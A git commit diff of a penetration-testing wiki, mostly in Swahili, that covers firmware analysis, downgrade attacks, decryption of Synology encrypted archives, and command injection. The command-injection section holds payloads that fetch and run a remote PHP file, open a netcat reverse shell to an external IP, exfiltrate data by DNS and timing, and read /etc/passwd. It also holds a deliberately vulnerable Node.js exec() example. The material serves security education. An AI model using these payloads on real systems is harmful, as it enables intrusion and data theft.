Translated ['src/hardware-physical-access/firmware-analysis/README.md',

This commit is contained in:
Translator 2025-08-13 22:35:20 +00:00
parent 9f49afb283
commit 301050e29c
4 changed files with 239 additions and 46 deletions

View File

@ -769,6 +769,7 @@
- [Ret2vDSO](binary-exploitation/rop-return-oriented-programing/ret2vdso.md)
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)

View File

@ -2,13 +2,19 @@
{{#include ../../banners/hacktricks-training.md}}
## **Utangulizi**
## **Introduction**
### Related resources
{{#ref}}
synology-encrypted-archive-decryption.md
{{#endref}}
Firmware ni programu muhimu inayowezesha vifaa kufanya kazi ipasavyo kwa kusimamia na kuwezesha mawasiliano kati ya vipengele vya vifaa na programu ambayo watumiaji wanashirikiana nayo. Inahifadhiwa katika kumbukumbu ya kudumu, kuhakikisha kwamba kifaa kinaweza kufikia maagizo muhimu tangu wakati kinapowashwa, na kusababisha uzinduzi wa mfumo wa uendeshaji. Kuchunguza na labda kubadilisha firmware ni hatua muhimu katika kubaini udhaifu wa usalama.
## **Kukusanya Taarifa**
## **Gathering Information**
**Kukusanya taarifa** ni hatua ya awali muhimu katika kuelewa muundo wa kifaa na teknolojia zinazotumika. Mchakato huu unahusisha kukusanya data kuhusu:
**Kukusanya taarifa** ni hatua ya awali muhimu katika kuelewa muundo wa kifaa na teknolojia zinazotumiwa. Mchakato huu unahusisha kukusanya data kuhusu:
- Mchoro wa CPU na mfumo wa uendeshaji unaotumia
- Maelezo ya bootloader
@ -19,27 +25,27 @@ Firmware ni programu muhimu inayowezesha vifaa kufanya kazi ipasavyo kwa kusimam
- Mchoro wa usanifu na michoro ya mtiririko
- Tathmini za usalama na udhaifu ulioainishwa
Kwa kusudi hili, zana za **open-source intelligence (OSINT)** ni muhimu, kama vile uchambuzi wa vipengele vyovyote vya programu za chanzo wazi vinavyopatikana kupitia mchakato wa ukaguzi wa mikono na wa kiotomatiki. Zana kama [Coverity Scan](https://scan.coverity.com) na [Semmles LGTM](https://lgtm.com/#explore) hutoa uchambuzi wa statiki bure ambao unaweza kutumika kugundua matatizo yanayoweza kutokea.
Kwa kusudi hili, zana za **open-source intelligence (OSINT)** ni muhimu, kama vile uchambuzi wa vipengele vyovyote vya programu za chanzo wazi vinavyopatikana kupitia michakato ya ukaguzi wa mikono na otomatiki. Zana kama [Coverity Scan](https://scan.coverity.com) na [Semmles LGTM](https://lgtm.com/#explore) hutoa uchambuzi wa statiki bure ambao unaweza kutumika kugundua matatizo yanayoweza kutokea.
## **Kupata Firmware**
## **Acquiring the Firmware**
Kupata firmware kunaweza kufanywa kwa njia mbalimbali, kila moja ikiwa na ngazi yake ya ugumu:
- **Moja kwa moja** kutoka kwa chanzo (waendelezaji, watengenezaji)
- **Moja kwa moja** kutoka kwa chanzo (wabunifu, watengenezaji)
- **Kujenga** kutoka kwa maelekezo yaliyotolewa
- **Kupakua** kutoka kwenye tovuti rasmi za msaada
- Kutumia **Google dork** maswali ya kutafuta faili za firmware zilizohifadhiwa
- Kufikia **hifadhi ya wingu** moja kwa moja, kwa kutumia zana kama [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Kukamata **sasisho** kupitia mbinu za mtu katikati
- **Kutoa** kutoka kwa kifaa kupitia viunganisho kama **UART**, **JTAG**, au **PICit**
- **Kusikiliza** maombi ya sasisho ndani ya mawasiliano ya kifaa
- Kutambua na kutumia **nukta za sasisho zilizowekwa**
- **Kutoa** kutoka kwa bootloader au mtandao
- **Kuondoa na kusoma** chip ya uhifadhi, wakati njia zote zinafeli, kwa kutumia zana sahihi za vifaa
- **Kutoa** kutoka kwa kifaa kupitia muunganisho kama **UART**, **JTAG**, au **PICit**
- **Sniffing** kwa maombi ya sasisho ndani ya mawasiliano ya kifaa
- Kutambua na kutumia **mipango ya sasisho iliyowekwa**
- **Dumping** kutoka kwa bootloader au mtandao
- **Kuondoa na kusoma** chip ya hifadhi, wakati kila kitu kingine kinashindwa, kwa kutumia zana sahihi za vifaa
## Kuchambua firmware
## Analyzing the firmware
Sasa kwamba **una firmware**, unahitaji kutoa taarifa kuhusu hiyo ili kujua jinsi ya kuitendea. Zana tofauti unazoweza kutumia kwa hiyo:
Sasa kwamba una **firmware**, unahitaji kutoa taarifa kuhusu hiyo ili kujua jinsi ya kuitendea. Zana tofauti unazoweza kutumia kwa hilo:
```bash
file <bin>
strings -n8 <bin>
@ -48,7 +54,7 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Ikiwa hujapata mengi na zana hizo, angalia **entropy** ya picha kwa kutumia `binwalk -E <bin>`, ikiwa entropy ni ya chini, basi haiwezekani kuwa imefungwa. Ikiwa entropy ni ya juu, inawezekana imefungwa (au imepandwa kwa njia fulani).
Ikiwa hujapata mengi na zana hizo angalia **entropy** ya picha kwa kutumia `binwalk -E <bin>`, ikiwa entropy ni ya chini, basi haiwezekani kuwa imefungwa. Ikiwa entropy ni ya juu, inawezekana imefungwa (au imepandwa kwa njia fulani).
Zaidi ya hayo, unaweza kutumia zana hizi kutoa **faili zilizojumuishwa ndani ya firmware**:
@ -61,11 +67,11 @@ Au [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive
### Kupata Mfumo wa Faili
Kwa zana zilizotajwa hapo awali kama `binwalk -ev <bin>` unapaswa kuwa umeweza **kutoa mfumo wa faili**.\
Binwalk kawaida hutoa ndani ya **folda iliyo na jina la aina ya mfumo wa faili**, ambayo mara nyingi ni moja ya zifuatazo: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
Binwalk kawaida hutoa ndani ya **folda iliyopewa jina kama aina ya mfumo wa faili**, ambayo mara nyingi ni mojawapo ya yafuatayo: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Utoaji wa Mfumo wa Faili kwa Mikono
Wakati mwingine, binwalk haitakuwa na byte ya kichawi ya mfumo wa faili katika saini zake. Katika kesi hizi, tumia binwalk ili **kupata offset ya mfumo wa faili na kuchonga mfumo wa faili ulio pandwa** kutoka kwa binary na **kutoa kwa mikono** mfumo wa faili kulingana na aina yake kwa kutumia hatua zilizo hapa chini.
Wakati mwingine, binwalk **haitakuwa na byte ya kichawi ya mfumo wa faili katika saini zake**. Katika kesi hizi, tumia binwalk ili **kupata offset ya mfumo wa faili na kuchonga mfumo wa faili ulio pandwa** kutoka kwa binary na **kutoa kwa mikono** mfumo wa faili kulingana na aina yake kwa kutumia hatua zilizo hapa chini.
```
$ binwalk DIR850L_REVB.bin
@ -142,7 +148,7 @@ Baada ya hapo, kulingana na aina ya mfumo wa faili (kwa mfano, squashfs, cpio, j
### Uchambuzi wa Mfumo wa Faili
Mara mfumo wa faili unapotolewa, utafutaji wa kasoro za usalama huanza. Kipaumbele kinatolewa kwa daemons za mtandao zisizo salama, akidi za siri zilizowekwa kwa nguvu, mwisho wa API, kazi za seva za sasisho, msimbo usio na muundo, skripti za kuanzisha, na binaries zilizokusanywa kwa uchambuzi wa mbali.
Mara mfumo wa faili umepatikana, utafutaji wa kasoro za usalama huanza. Kipaumbele kinatolewa kwa daemons za mtandao zisizo salama, akidi za siri zilizowekwa kwa nguvu, mwisho wa API, kazi za seva za sasisho, msimbo usio na muundo, skripti za kuanzisha, na binaries zilizokusanywa kwa uchambuzi wa mbali.
**Mikoa muhimu** na **vitu** vya kukagua ni pamoja na:
@ -160,11 +166,11 @@ Zana kadhaa zinasaidia katika kufichua taarifa nyeti na udhaifu ndani ya mfumo w
### Ukaguzi wa Usalama kwenye Binaries Zilizokusanywa
Msimbo wa chanzo na binaries zilizokusanywa zinazopatikana katika mfumo wa faili zinapaswa kuchunguzwa kwa udhaifu. Zana kama **checksec.sh** kwa binaries za Unix na **PESecurity** kwa binaries za Windows husaidia kubaini binaries zisizo na ulinzi ambazo zinaweza kutumiwa.
Msimbo wa chanzo na binaries zilizokusanywa zinazopatikana katika mfumo wa faili zinapaswa kuchunguzwa kwa udhaifu. Zana kama **checksec.sh** kwa binaries za Unix na **PESecurity** kwa binaries za Windows husaidia kubaini binaries zisizo na ulinzi ambazo zinaweza kutumika.
## Kuiga Firmware kwa Uchambuzi wa Dinamik
Mchakato wa kuiga firmware unaruhusu **uchambuzi wa dinamik** ama wa uendeshaji wa kifaa au programu binafsi. Njia hii inaweza kukutana na changamoto za utegemezi wa vifaa au usanifu, lakini kuhamasisha mfumo wa faili wa mzizi au binaries maalum kwa kifaa chenye usanifu na endianness inayolingana, kama vile Raspberry Pi, au kwa mashine halisi iliyojengwa awali, kunaweza kuwezesha majaribio zaidi.
Mchakato wa kuiga firmware unaruhusu **uchambuzi wa dinamik** ama wa uendeshaji wa kifaa au programu binafsi. Njia hii inaweza kukutana na changamoto za utegemezi wa vifaa au usanifu, lakini kuhamasisha mfumo wa faili wa mzizi au binaries maalum kwa kifaa chenye usanifu na endianness inayolingana, kama vile Raspberry Pi, au kwa mashine halisi iliyojengwa mapema, kunaweza kuwezesha majaribio zaidi.
### Kuiga Binaries Binafsi
@ -184,48 +190,48 @@ Kwa MIPS (big-endian), `qemu-mips` inatumika, na kwa binaries za little-endian,
#### Uigaji wa Muktadha wa ARM
Kwa binaries za ARM, mchakato ni sawa, na emulator `qemu-arm` inatumika kwa uigaji.
Kwa binaries za ARM, mchakato ni sawa, huku emulator ya `qemu-arm` ikitumika kwa uigaji.
### Uigaji wa Mfumo Kamili
Zana kama [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), na zingine, zinawezesha uigaji kamili wa firmware, zikifanya mchakato kuwa wa kiotomatiki na kusaidia katika uchambuzi wa dynamic.
Zana kama [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), na nyingine, zinawezesha uigaji kamili wa firmware, zikifanya mchakato kuwa wa kiotomatiki na kusaidia katika uchambuzi wa dynamic.
## Uchambuzi wa Dynamic katika Vitendo
Katika hatua hii, mazingira halisi au ya uigaji ya kifaa hutumika kwa uchambuzi. Ni muhimu kudumisha ufikiaji wa shell kwa OS na mfumo wa faili. Uigaji huenda usifanane kikamilifu na mwingiliano wa vifaa, hivyo inahitajika mara kwa mara kuanzisha upya uigaji. Uchambuzi unapaswa kutembelea mfumo wa faili, kutumia tovuti zilizofichuliwa na huduma za mtandao, na kuchunguza udhaifu wa bootloader. Majaribio ya uaminifu wa firmware ni muhimu ili kubaini udhaifu wa backdoor unaoweza kuwepo.
Katika hatua hii, mazingira halisi au ya uigaji ya kifaa hutumika kwa uchambuzi. Ni muhimu kudumisha ufikiaji wa shell kwa OS na filesystem. Uigaji huenda usifanane kikamilifu na mwingiliano wa vifaa, hivyo inahitajika mara kwa mara kuanzisha upya uigaji. Uchambuzi unapaswa kutembelea filesystem, kutumia kurasa za wavuti zilizofichuliwa na huduma za mtandao, na kuchunguza udhaifu wa bootloader. Majaribio ya uadilifu wa firmware ni muhimu ili kubaini udhaifu wa backdoor unaoweza kuwepo.
## Mbinu za Uchambuzi wa Wakati
## Mbinu za Uchambuzi wa Wakati wa Uendeshaji
Uchambuzi wa wakati unahusisha kuingiliana na mchakato au binary katika mazingira yake ya uendeshaji, kwa kutumia zana kama gdb-multiarch, Frida, na Ghidra kwa kuweka breakpoints na kubaini udhaifu kupitia fuzzing na mbinu nyingine.
Uchambuzi wa wakati wa uendeshaji unahusisha kuingiliana na mchakato au binary katika mazingira yake ya uendeshaji, kwa kutumia zana kama gdb-multiarch, Frida, na Ghidra kwa kuweka breakpoints na kubaini udhaifu kupitia fuzzing na mbinu nyingine.
## Ukatili wa Binary na Ushahidi wa Dhihirisho
Kuendeleza PoC kwa udhaifu ulioainishwa kunahitaji uelewa wa kina wa usanifu wa lengo na programu katika lugha za kiwango cha chini. Ulinzi wa wakati wa binary katika mifumo iliyojumuishwa ni nadra, lakini inapokuwepo, mbinu kama Return Oriented Programming (ROP) zinaweza kuwa muhimu.
Kuendeleza PoC kwa udhaifu ulioainishwa kunahitaji uelewa wa kina wa usanifu wa lengo na programu katika lugha za kiwango cha chini. Ulinzi wa wakati wa uendeshaji wa binary katika mifumo iliyojumuishwa ni nadra, lakini inapokuwepo, mbinu kama Return Oriented Programming (ROP) zinaweza kuwa muhimu.
## Mifumo ya Uendeshaji Iliyoandaliwa kwa Uchambuzi wa Firmware
Mifumo ya uendeshaji kama [AttifyOS](https://github.com/adi0x90/attifyos) na [EmbedOS](https://github.com/scriptingxss/EmbedOS) hutoa mazingira yaliyoandaliwa mapema kwa ajili ya mtihani wa usalama wa firmware, ikiwa na zana muhimu.
Mifumo ya uendeshaji kama [AttifyOS](https://github.com/adi0x90/attifyos) na [EmbedOS](https://github.com/scriptingxss/EmbedOS) hutoa mazingira yaliyoandaliwa mapema kwa ajili ya mtihani wa usalama wa firmware, yakiwa na zana muhimu.
## Mifumo ya Uendeshaji Iliyoandaliwa kuchambua Firmware
## Mifumo ya Uendeshaji Iliyoandaliwa Kuchambua Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ni distro inayokusudia kukusaidia kufanya tathmini ya usalama na mtihani wa penetration wa vifaa vya Internet of Things (IoT). Inakuokoa muda mwingi kwa kutoa mazingira yaliyoandaliwa mapema na zana zote muhimu.
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ni distro inayokusudiwa kukusaidia kufanya tathmini ya usalama na mtihani wa penetration wa vifaa vya Internet of Things (IoT). Inakuokoa muda mwingi kwa kutoa mazingira yaliyoandaliwa mapema na zana zote muhimu.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Mfumo wa uendeshaji wa mtihani wa usalama wa embedded unaotegemea Ubuntu 18.04 uliojaa zana za mtihani wa usalama wa firmware.
## Mashambulizi ya Kupunguza Firmware na Mechanisms za Sasisho zisizo Salama
Hata wakati muuzaji anatekeleza ukaguzi wa saini za cryptographic kwa picha za firmware, **ulinzi wa kurudi nyuma (downgrade) mara nyingi haujajumuishwa**. Wakati boot- au recovery-loader inathibitisha tu saini na funguo za umma zilizojumuishwa lakini hailinganishe *toleo* (au counter monotonic) ya picha inayowekwa, mshambuliaji anaweza halali kufunga **firmware ya zamani, yenye udhaifu ambayo bado ina saini halali** na hivyo kuanzisha tena udhaifu uliofanyiwa marekebisho.
Mchakato wa kawaida wa shambulio:
Mchakato wa shambulizi wa kawaida:
1. **Pata picha ya zamani iliyosainiwa**
* Iteue kutoka kwenye portal ya umma ya kupakua ya muuzaji, CDN au tovuti ya msaada.
* Iondoe kutoka kwa programu za simu/kompyuta za mezani (kwa mfano ndani ya APK ya Android chini ya `assets/firmware/`).
* Irejeshe kutoka kwa hifadhi za wahusika wengine kama VirusTotal, archives za mtandao, forums, nk.
2. **Pakia au tolea picha hiyo kwa kifaa** kupitia njia yoyote ya sasisho iliyofichuliwa:
2. **Pakia au tolea picha kwa kifaa** kupitia njia yoyote ya sasisho iliyofichuliwa:
* Web UI, API ya programu ya simu, USB, TFTP, MQTT, nk.
* Vifaa vingi vya IoT vya watumiaji vinatoa *michakato isiyoidhinishwa* ya HTTP(S) ambayo inakubali blobs za firmware zilizowekwa Base64, kuzifungua upande wa seva na kuanzisha urejeleaji/kuinua.
3. Baada ya kupunguza, tumia udhaifu ambao ulifanyiwa marekebisho katika toleo jipya (kwa mfano, chujio cha kuingiza amri ambacho kiliongezwa baadaye).
4. Kwa hiari flash picha ya hivi karibuni tena au zima sasisho ili kuepuka kugundulika mara tu uvumilivu umepatikana.
4. Kwa hiari flash picha ya hivi karibuni tena au zima sasisho ili kuepuka kugunduliwa mara tu uvumilivu unapatikana.
### Mfano: Kuingiza Amri Baada ya Kupunguza
```http
@ -234,11 +240,11 @@ Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
Katika firmware iliyo hatarini (iliyoshushwa), parameter ya `md5` imeunganishwa moja kwa moja katika amri ya shell bila kusafishwa, ikiruhusu kuingiza amri za kiholela (hapa kuwezesha ufikiaji wa mizizi kwa kutumia funguo za SSH). Toleo la baadaye la firmware lilileta chujio cha wahusika wa msingi, lakini ukosefu wa ulinzi wa kushusha unafanya marekebisho kuwa yasiyo na maana.
Katika firmware iliyo hatarini (iliyoshushwa), parameter ya `md5` imeunganishwa moja kwa moja katika amri ya shell bila kusafishwa, ikiruhusu kuingiza amri zisizo na mipaka (hapa kuwezesha ufikiaji wa mizizi kwa kutumia funguo za SSH). Toleo la baadaye la firmware lilileta chujio cha wahusika wa msingi, lakini ukosefu wa ulinzi wa kushusha unafanya marekebisho kuwa yasiyo na maana.
### Kutolewa kwa Firmware Kutoka kwa Programu za Simu
Wauzaji wengi hujumuisha picha kamili za firmware ndani ya programu zao za simu za washirika ili programu iweze kusasisha kifaa kupitia Bluetooth/Wi-Fi. Paket hizi mara nyingi huhifadhiwa bila usimbaji katika APK/APEX chini ya njia kama `assets/fw/` au `res/raw/`. Zana kama `apktool`, `ghidra`, au hata `unzip` rahisi zinakuwezesha kutoa picha zilizotiwa saini bila kugusa vifaa vya kimwili.
Wauzaji wengi hujumuisha picha kamili za firmware ndani ya programu zao za simu za washirika ili programu iweze kusasisha kifaa kupitia Bluetooth/Wi-Fi. Paket hizi kwa kawaida huhifadhiwa bila usimbaji katika APK/APEX chini ya njia kama `assets/fw/` au `res/raw/`. Zana kama `apktool`, `ghidra`, au hata `unzip` rahisi zinakuruhusu kutoa picha zilizotiwa saini bila kugusa vifaa vya kimwili.
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
@ -246,17 +252,17 @@ firmware_v1.3.11.490_signed.bin
```
### Orodha ya Kuangalia Mantiki ya Sasisho
* Je, usafiri/uidhinishaji wa *kituo cha sasisho* umehifadhiwa ipasavyo (TLS + uidhinishaji)?
* Je, kifaa kinalinganisha **nambari za toleo** au **kikadiriaji cha kupunguza nyuma kisichobadilika** kabla ya kuandika?
* Je, usafirishaji/uidhinishaji wa *kituo cha sasisho* umehifadhiwa ipasavyo (TLS + uidhinishaji)?
* Je, kifaa kinalinganisha **nambari za toleo** au **kikadiriaji cha kupunguza kurudi nyuma** kabla ya kuchoma?
* Je, picha inathibitishwa ndani ya mnyororo wa kuanza salama (kwa mfano, saini zinakaguliwa na msimbo wa ROM)?
* Je, msimbo wa userland unafanya ukaguzi wa ziada wa akili (kwa mfano, ramani ya sehemu inayoruhusiwa, nambari ya mfano)?
* Je, *mchakato wa sehemu* au *hifadhi* wa sasisho unatumia mantiki ile ile ya uthibitishaji?
* Je, *mchakato wa* sasisho *ya sehemu* au *ya akiba* unatumia mantiki ile ile ya uthibitishaji?
> 💡 Ikiwa yoyote kati ya hapo juu inakosekana, jukwaa linaweza kuwa hatarini kwa mashambulizi ya kurudi nyuma.
## Firmware yenye Uhatari ya Kufanya Mazoezi
Ili kufanya mazoezi ya kugundua udhaifu katika firmware, tumia miradi ifuatayo ya firmware yenye uhatari kama hatua ya mwanzo.
Ili kufanya mazoezi ya kugundua udhaifu katika firmware, tumia miradi ifuatayo ya firmware yenye uhatari kama hatua ya kuanzia.
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)

View File

@ -0,0 +1,162 @@
# Synology PAT/SPK Encrypted Archive Decryption
{{#include ../../banners/hacktricks-training.md}}
## Overview
Vifaa vingi vya Synology (DSM/BSM NAS, BeeStation, …) vinatoa firmware na pakiti za programu katika **archive za PAT / SPK zilizofichwa**. Archive hizo zinaweza kufichuliwa *offline* kwa kutumia tu faili za kupakua za umma kutokana na funguo zilizowekwa ndani ya maktaba rasmi za uondoaji.
Ukurasa huu unandika, hatua kwa hatua, jinsi muundo wa kufichwa unavyofanya kazi na jinsi ya kurejesha kabisa **TAR** ya wazi ambayo iko ndani ya kila pakiti. Utaratibu huu unategemea utafiti wa Synacktiv uliofanywa wakati wa Pwn2Own Ireland 2024 na kutekelezwa katika zana ya chanzo wazi [`synodecrypt`](https://github.com/synacktiv/synodecrypt).
> ⚠️ Muundo ni sawa kabisa kwa `*.pat` (sasisho la mfumo) na `*.spk` (programu) archive zinatofautiana tu katika jozi ya funguo zilizowekwa.
---
## 1. Grab the archive
Sasisho la firmware/programu kwa kawaida linaweza kupakuliwa kutoka kwenye portal ya umma ya Synology:
```bash
$ wget https://archive.synology.com/download/Os/BSM/BSM_BST150-4T_65374.pat
```
## 2. Dump the PAT structure (optional)
`*.pat` images ni **cpio bundle** ambayo inajumuisha faili kadhaa (boot loader, kernel, rootfs, packages…). Zana ya bure [`patology`](https://github.com/sud0woodo/patology) ni rahisi kutumia kukagua wrapper hiyo:
```bash
$ python3 patology.py --dump -i BSM_BST150-4T_65374.pat
[…]
$ ls
DiskCompatibilityDB.tar hda1.tgz rd.bin packages/ …
```
Kwa `*.spk` unaweza kuruka moja kwa moja hadi hatua ya 3.
## 3. Toa maktaba za uchimbaji za Synology
Mantiki halisi ya ufichuzi iko katika:
* `/usr/syno/sbin/synoarchive` → kifunguo kikuu cha CLI
* `/usr/lib/libsynopkg.so.1` → inaita kifunguo kutoka kwa UI ya DSM
* `libsynocodesign.so` → **ina utekelezaji wa kificho**
Binafsi zote zipo katika mfumo wa rootfs (`hda1.tgz`) **na** katika init-rd iliyoshinikizwa (`rd.bin`). Ikiwa una PAT pekee unaweza kuzipata kwa njia hii:
```bash
# rd.bin is LZMA-compressed CPIO
$ lzcat rd.bin | cpio -id 2>/dev/null
$ file usr/lib/libsynocodesign.so
usr/lib/libsynocodesign.so: ELF 64-bit LSB shared object, ARM aarch64, …
```
## 4. Recover the hard-coded keys (`get_keys`)
Ndani ya `libsynocodesign.so` kazi `get_keys(int keytype)` inarudisha tu mabadiliko mawili ya kimataifa ya 128-bit kwa familia ya archive iliyotolewa:
```c
case 0: // PAT (system)
case 10:
case 11:
signature_key = qword_23A40;
master_key = qword_23A68;
break;
case 3: // SPK (applications)
signature_key = qword_23AE0;
master_key = qword_23B08;
break;
```
* **signature_key** → Ed25519 public key inayotumika kuthibitisha kichwa cha archive.
* **master_key** → Funguo ya mzizi inayotumika kupata funguo za usimbaji za kila archive.
Unahitaji tu kutoa hizo constants mbili mara moja kwa kila toleo kuu la DSM.
## 5. Muundo wa kichwa & uthibitishaji wa saini
`synoarchive_open()``support_format_synoarchive()``archive_read_support_format_synoarchive()` inatekeleza yafuatayo:
1. Soma magic (bytes 3) `0xBFBAAD` **au** `0xADBEEF`.
2. Soma little-endian 32-bit `header_len`.
3. Soma bytes `header_len` + saini ya **0x40-byte Ed25519** inayofuata.
4. Pitia funguo zote za umma zilizojumuishwa hadi `crypto_sign_verify_detached()` ifanikiwe.
5. Fanya decode kichwa kwa **MessagePack**, ikitoa:
```python
[
data: bytes,
entries: [ [size: int, sha256: bytes], … ],
archive_description: bytes,
serial_number: [bytes],
not_valid_before: int
]
```
`entries` baadaye inaruhusu libarchive kukagua uhalali wa kila faili kadri inavyotolewa.
## 6. Pata funguo ndogo ya kila archive
Kutoka kwenye `data` blob iliyo ndani ya kichwa cha MessagePack:
* `subkey_id` = little-endian `uint64` kwenye offset 0x10
* `ctx` = bytes 7 kwenye offset 0x18
Funguo la **stream key** la byte 32 linapatikana kwa kutumia libsodium:
```c
crypto_kdf_derive_from_key(kdf_subkey, 32, subkey_id, ctx, master_key);
```
## 7. Synologys custom **libarchive** backend
Synology inajumuisha libarchive iliyorekebishwa ambayo inasajili muundo wa "tar" wa uwongo kila wakati uchawi ni `0xADBEEF`:
```c
register_format(
"tar", spk_bid, spk_options,
spk_read_header, spk_read_data, spk_read_data_skip,
NULL, spk_cleanup, NULL, NULL);
```
### spk_read_header()
```
- Read 0x200 bytes
- nonce = buf[0:0x18]
- cipher = buf[0x18:0x18+0x193]
- crypto_secretstream_xchacha20poly1305_init_pull(state, nonce, kdf_subkey)
- crypto_secretstream_xchacha20poly1305_pull(state, tar_hdr, …, cipher, 0x193)
```
The decrypted `tar_hdr` ni **kichwa cha POSIX TAR cha kawaida**.
### spk_read_data()
```
while (remaining > 0):
chunk_len = min(0x400000, remaining) + 0x11 # +tag
buf = archive_read_ahead(chunk_len)
crypto_secretstream_xchacha20poly1305_pull(state, out, …, buf, chunk_len)
remaining -= chunk_len - 0x11
```
Kila **0x18-byte nonce** inaongezwa kabla ya kipande kilichosimbwa.
Mara baada ya kuandaa kila kipengee, libarchive inazalisha **`.tar`** halali ambayo inaweza kufunguliwa na chombo chochote cha kawaida.
## 8. Futa kila kitu kwa kutumia synodecrypt
```bash
$ python3 synodecrypt.py SynologyPhotos-rtd1619b-1.7.0-0794.spk
[+] found matching keys (SPK)
[+] header signature verified
[+] 104 entries
[+] archive successfully decrypted → SynologyPhotos-rtd1619b-1.7.0-0794.tar
$ tar xf SynologyPhotos-rtd1619b-1.7.0-0794.tar
```
`synodecrypt` inatambua moja kwa moja PAT/SPK, inaload funguo sahihi na inatumia mnyororo kamili ulioelezwa hapo juu.
## 9. Mtego wa kawaida
* Usibadilishe `signature_key` na `master_key` zina huduma tofauti.
* **Nonce** inakuja *kabla* ya ciphertext kwa kila block (kichwa na data).
* Ukubwa wa juu wa kipande kilichosimbwa ni **0x400000 + 0x11** (libsodium tag).
* Hifadhi zilizoundwa kwa kizazi kimoja cha DSM zinaweza kubadilisha funguo tofauti zilizowekwa kwa nguvu katika toleo linalofuata.
## 10. Zana za ziada
* [`patology`](https://github.com/sud0woodo/patology) parse/dump PAT archives.
* [`synodecrypt`](https://github.com/synacktiv/synodecrypt) decrypt PAT/SPK/others.
* [`libsodium`](https://github.com/jedisct1/libsodium) reference implementation of XChaCha20-Poly1305 secretstream.
* [`msgpack`](https://msgpack.org/) header serialisation.
## Marejeleo
- [Extraction of Synology encrypted archives Synacktiv (Pwn2Own IE 2024)](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [synodecrypt on GitHub](https://github.com/synacktiv/synodecrypt)
- [patology on GitHub](https://github.com/sud0woodo/patology)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## What is command Injection?
A **command injection** inaruhusu utekelezaji wa amri za mfumo wa uendeshaji zisizo na mipaka na mshambuliaji kwenye seva inayohifadhi programu. Kama matokeo, programu na data zake zote zinaweza kuathiriwa kabisa. Utekelezaji wa amri hizi kawaida unaruhusu mshambuliaji kupata ufikiaji usioidhinishwa au kudhibiti mazingira ya programu na mfumo wa msingi.
A **command injection** inaruhusu utekelezaji wa amri za mfumo wa uendeshaji zisizo na mipaka na mshambuliaji kwenye seva inayohifadhi programu. Kama matokeo, programu na data zake zote zinaweza kuathiriwa kabisa. Utekelezaji wa amri hizi kwa kawaida unamruhusu mshambuliaji kupata ufikiaji usioidhinishwa au kudhibiti mazingira ya programu na mfumo wa msingi.
### Context
@ -29,15 +29,15 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Kikomo** Bypasses
### **Limitation** Bypasses
Ikiwa unajaribu kutekeleza **amri zisizo na mpangilio ndani ya mashine ya linux** utavutiwa kusoma kuhusu hii **Bypasses:**
Ikiwa unajaribu kutekeleza **amri za kiholela ndani ya mashine ya linux** utavutiwa kusoma kuhusu hizi **Bypasses:**
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
### **Mifano**
### **Examples**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
@ -73,9 +73,9 @@ Hapa kuna vigezo 25 bora ambavyo vinaweza kuwa na udhaifu wa kuingiza msimbo na
?run={payload}
?print={payload}
```
### Mchakato wa kuhamasisha data kwa muda
### Time based data exfiltration
Kutoa data: herufi kwa herufi
Kuchota data: herufi kwa herufi
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -99,12 +99,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Vifaa vya mtandaoni kuangalia uhamasishaji wa data unaotegemea DNS:
Online tools to check for DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
### Kupita kwa filtering
### Filtering bypass
#### Windows
```
@ -117,7 +117,29 @@ powershell C:**2\n??e*d.*? # notepad
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
## Orodha ya Kugundua Brute-Force
### Node.js `child_process.exec` vs `execFile`
Wakati wa kukagua JavaScript/TypeScript back-ends mara nyingi utapata Node.js `child_process` API.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});
```
`exec()` inazalisha **shell** (`/bin/sh -c`), hivyo kila herufi ambayo ina maana maalum kwa shell (back-ticks, `;`, `&&`, `|`, `$()`, …) itasababisha **command injection** wakati pembejeo ya mtumiaji inachanganywa katika string.
